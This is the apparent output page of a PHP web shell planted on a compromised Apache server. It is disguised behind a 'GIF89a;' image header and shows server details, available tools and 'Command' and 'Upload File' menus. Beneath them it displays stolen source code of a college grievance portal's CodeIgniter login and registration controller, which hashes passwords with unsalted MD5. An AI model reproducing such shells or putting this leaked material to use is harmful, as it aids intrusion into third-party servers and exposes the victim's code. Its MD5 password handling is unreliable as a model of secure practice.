GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.144.48.72 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../grievance/application/core/../controllers/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller For Handling Requests Related To Authentication * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Authentication extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('form_validation'); $this->load->library('session'); $this->load->model("UserAuthenticator"); $this->load->model("UserManagement"); $this->load->model("StuParentMappingManagement"); } public function index() { if ($this->session->userdata('logged_in')) { redirect("Dashboard"); } else { redirect("Home/"); } } public function login($userTypeOrRole = '') { if ($userTypeOrRole != '') { if ($this->session->userdata('logged_in')) { redirect("Dashboard"); } else { $viewData['slug'] = $userTypeOrRole; if ($userTypeOrRole == 'admin') { $viewData['roleOrType'] = 'CA'; $viewData['roleOrTypeFLag'] = 'R'; } else if ($userTypeOrRole == 'student') { $viewData['roleOrType'] = 'S'; $viewData['roleOrTypeFLag'] = 'T'; } else if ($userTypeOrRole == 'parent') { $viewData['roleOrType'] = 'P'; $viewData['roleOrTypeFLag'] = 'T'; } else if ($userTypeOrRole == 'gcellm') { $viewData['roleOrType'] = 'GCM'; $viewData['roleOrTypeFLag'] = 'R'; } else if ($userTypeOrRole == 'faculty') { $viewData['roleOrType'] = 'F'; $viewData['roleOrTypeFLag'] = 'T'; } else if ($userTypeOrRole == 'nonteaching') { $viewData['roleOrType'] = 'N'; $viewData['roleOrTypeFLag'] = 'T'; } else { $viewData['roleOrType'] = 'MGMT'; $viewData['roleOrTypeFLag'] = 'R'; } $this->load->view('sign_in', $viewData); } } else { redirect("Home/"); } } public function authLogin() { $this->form_validation->set_rules('mailOrMobile', 'Email Or Mobile', 'trim|required', array('required' => 'Email Or Mobile Is Required.')); $this->form_validation->set_rules('password', 'Password', 'required', array('required' => 'Password Can Not Be Blank.')); if ($this->form_validation->run() == FALSE) { $this->login($this->input->post('slug')); } else { $mailOrMobile = $this->input->post('mailOrMobile'); $password = $this->input->post('password'); $userTypeOrRole = $this->input->post('userTypeOrRole'); $userTypeOrRoleFlag = $this->input->post('userTypeOrRoleFlag'); $result = $this->UserAuthenticator->authLogin($mailOrMobile, $password, $userTypeOrRole, $userTypeOrRoleFlag); if ($result == 1) { redirect("Dashboard"); } else if ($result == -1) { $this->session->set_flashdata('errorMessage', "Your Account Is Blocked."); $this->login($this->input->post('slug')); } else if ($result == -2) { $this->session->set_flashdata('errorMessage', "Your Account Is Awaiting Approval."); $this->login($this->input->post('slug')); } else { $this->session->set_flashdata('errorMessage', "Invalid Credentials."); $this->login($this->input->post('slug')); } } } public function authLogout() { $this->UserAuthenticator->authLogout(); $this->login(); } public function signUp($userTypeOrRole = '') { if ($userTypeOrRole != '') { if ($this->session->userdata('logged_in')) { redirect("Dashboard"); } else { $viewData['slug'] = $userTypeOrRole; if ($userTypeOrRole == 'student') { $this->load->model("CourseManagement"); $viewData['non_del_actv_course'] = $this->CourseManagement->getNonDeletedActiveCoursesOfInstitute($this->session->userdata('inst_id'))->result(); $viewData['roleOrType'] = 'S'; $viewData['roleOrTypeFLag'] = 'T'; } else if ($userTypeOrRole == 'parent') { $viewData['roleOrType'] = 'P'; $viewData['roleOrTypeFLag'] = 'T'; } else if ($userTypeOrRole == 'faculty') { $viewData['roleOrType'] = 'F'; $viewData['roleOrTypeFLag'] = 'T'; } else if ($userTypeOrRole == 'nonteaching') { $viewData['roleOrType'] = 'N'; $viewData['roleOrTypeFLag'] = 'T'; } else { redirect("Authentication/login/") . $userTypeOrRole; } $this->load->view('sign_up', $viewData); } } else { redirect("Home/"); } } public function registerUser() { $this->form_validation->set_rules('userFirstName', 'First Name', 'required', array('required' => 'First Name Can Not Be Blank.')); $this->form_validation->set_rules('userGender', 'Gender', 'trim|required', array('required' => 'Gender Is Required.')); $this->form_validation->set_rules('userEmail', 'Password', 'required', array('required' => 'Email Can Not Be Blank.')); $this->form_validation->set_rules('userMobile', 'Email Or Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Mobile Is Required.')); $this->form_validation->set_rules('userPassword', 'Password', 'trim|required', array('required' => 'Password Can Not Be Blank.')); $this->form_validation->set_rules('userCnfPassword', 'Confirm Passowrd', 'trim|required|matches[userPassword]', array('required' => 'Confirm Password Is Required.')); $userType = $this->input->post('userTypeOrRole'); if ($userType == 'S') { $this->form_validation->set_rules('userRegEmpAdmNo', 'Admsn./Reg./Roll Number', 'trim|required', array('required' => 'Admns./Reg./Roll Number Is Required.')); $this->form_validation->set_rules('userCourse', 'Email Or Mobile', 'trim|required', array('required' => 'Course Is Required.')); $this->form_validation->set_rules('userCourseYearOrSem', 'Password', 'required', array('required' => 'Year/Semester Is Required.')); $this->form_validation->set_rules('userCourseCompleteDate', 'Email Or Mobile', 'trim|required', array('required' => 'Course Completion Date Is Required.')); } else if ($userType == 'P') { $this->form_validation->set_rules('userRegEmpAdmNo', "Ward's Admsn./Reg./Roll Number", 'trim|required', array('required' => "Your Ward's Admns./Reg./Roll Number Is Required.")); } else { $this->form_validation->set_rules('userRegEmpAdmNo', "Employee No./Code", 'trim|required', array('required' => "Employee No./Code Is Required.")); } if ($this->form_validation->run() == FALSE) { $this->signUp($this->input->post('slug')); } else { $queryByEmail = $this->UserManagement->getUserInfoByEmail($this->input->post('userEmail')); $userInfoByEmail = $queryByEmail->result(); $queryByMobile = $this->UserManagement->getUserInfoByMobileNumber($this->input->post('userMobile')); $userInfoByMobile = $queryByMobile->result(); if (sizeof($userInfoByEmail)) { $this->session->set_flashdata('errorMessage', "This Email Is Already Registered. Please Try With Different Email."); $this->signUp($this->input->post('slug')); } else if (sizeof($userInfoByMobile)) { $this->session->set_flashdata('errorMessage', "This Mobile Number Is Already Registered. Please Try With Different Mobile."); $this->signUp($this->input->post('slug')); } else { $newUserInfo = array( 'cau_first_name' => $this->input->post('userFirstName'), 'cau_last_name' => $this->input->post('userLastName'), 'cau_email' => $this->input->post('userEmail'), 'cau_mobile' => $this->input->post('userMobile'), 'cau_gender' => $this->input->post('userGender'), 'cau_adm_reg_roll_no' => $this->input->post('userRegEmpAdmNo'), 'cau_password' => MD5($this->input->post('userPassword')), 'cau_signup_on' => date("Y-m-d H:i:s"), 'cau_last_updated_on' => date("Y-m-d H:i:s"), 'cau_user_type_flag' => $this->input->post('userTypeOrRole'), 'cau_user_role_flag' => "NA", 'cau_image_url' => base_url("assets/images/ext_users/default.png"), 'clg_id' => $this->session->userdata('inst_id') ); $queryByAdmsEmpNo = $this->UserManagement->getUserInfoByAdmsnEmpNo($this->input->post('userRegEmpAdmNo')); $userInfoByAdmsEmpNo = $queryByAdmsEmpNo->result(); if ($userType == 'F' || $userType == 'N') { // For Teaching And Non-Teaching Staffs if (sizeof($userInfoByAdmsEmpNo)) { $this->session->set_flashdata('errorMessage', "This Employee No. Is Already Exists."); $this->signUp($this->input->post('slug')); } else { if ($this->UserManagement->createNewUser($newUserInfo)) { $this->session->set_flashdata('successMessage', 'Registration Successful. Your Account Is Under Review, You Can Login After Approval. You Will Be Notified Once Your Account Is Approved.'); $this->login($this->input->post('slug')); } else { $this->session->set_flashdata('errorMessage', 'Regisration Failed!! Try Later.'); redirect(current_url()); } } } else if ($userType == 'S') { // For Teaching And Non-Teaching Staffs if (sizeof($userInfoByAdmsEmpNo)) { $this->session->set_flashdata('errorMessage', "This Admission No./Reg. No./Roll Number Is Already Exists."); $this->signUp($this->input->post('slug')); } else { $newUserInfo['cau_course_complt_on'] = date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('userCourseCompleteDate')))); $newUserInfo['course_id'] = $this->input->post('userCourse'); $newUserInfo['cau_course_ysem'] = $this->input->post('userCourseYearOrSem'); if ($this->UserManagement->createNewUser($newUserInfo)) { $this->session->set_flashdata('successMessage', 'Registration Successful. Your Account Is Under Review, You Can Login After Approval. You Will Be Notified Once Your Account Is Approved.'); $this->login($this->input->post('slug')); } else { $this->session->set_flashdata('errorMessage', 'Regisration Failed!! Try Later.'); redirect(current_url()); } } } else { if (sizeof($userInfoByAdmsEmpNo) == 0) { // For Parents $this->session->set_flashdata('errorMessage', "It Seems Your Ward Has Not Been Registered Yet. Ward's Registration Is Mandatory Before Parent Registration."); $this->signUp($this->input->post('slug')); } else { $this->db->trans_start(); $cau_id = $this->UserManagement->createNewUser($newUserInfo); if ($cau_id) { $stuParentMapInfo = array( 'parent_id' => $cau_id, 'student_id' => $userInfoByAdmsEmpNo[0]->cau_id, 'spm_mapped_on' => date("Y-m-d H:i:s"), 'spm_mapped_by' => $cau_id ); if ($this->StuParentMappingManagement->makeNewStuParentMapping($stuParentMapInfo)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Registration Successful. Your Account Is Under Review, You Can Login After Approval. You Will Be Notified Once Your Account Is Approved.'); $this->login($this->input->post('slug')); } else { $this->db->trans_complete(); $this->session->set_flashdata('errorMessage', 'Regisration Failed!! Try Later.'); redirect(current_url()); } } else { $this->db->trans_complete(); $this->session->set_flashdata('errorMessage', 'Regisration Failed!! Try Later.'); redirect(current_url()); } } } } } } }